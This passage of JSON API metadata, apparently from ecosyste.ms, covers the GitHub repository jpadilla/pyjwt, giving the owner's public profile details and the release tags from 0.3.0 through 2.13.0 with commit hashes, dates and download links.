reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/rep